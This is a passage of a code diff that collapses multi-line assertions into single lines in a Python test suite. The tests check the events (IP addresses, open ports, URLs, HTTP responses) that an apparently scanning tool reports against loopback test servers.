e.internal is True - and e.scope_distance == 3 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 0 == len( - [ - e - for e in _graph_output_events - if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"] - ) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) # 2 events from a single HTTP_RESPONSE events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -1958,82 +552,25 @@ def custom_setup(scan): ) assert len(events) == 12 - assert 1 == len( - [ - e - for e in events - if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - assert 1 == len( - [ - e - for e in events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.111:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" - and e.url == "http://127.0.0.111:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" - and e.url == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) @@ -2043,621 +580,101 @@ def custom_setup(scan): assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) assert len(all_events) == 31 - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.110:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.111:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" - and e.url == "http://127.0.0.111:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.111:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.111:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.33:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.222:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.222:8889" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.222:8889" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.33:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.33:8889" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.33:8889" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" - and e.url == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.33:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.44:8888/" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.55:8888/" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.44:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.55:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) assert len(all_events_nodups) == 27 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.110:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.111:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" - and e.url == "http://127.0.0.111:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.111:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.111:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.33:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.222:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.222:8889" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.33:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.33:8889" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" - and e.url == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.33:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.44:8888/" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.55:8888/" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.44:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.55:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 12 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_RANGE" - and e.data == "127.0.0.110/31" - and e.internal is False - and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.111:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.111:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == 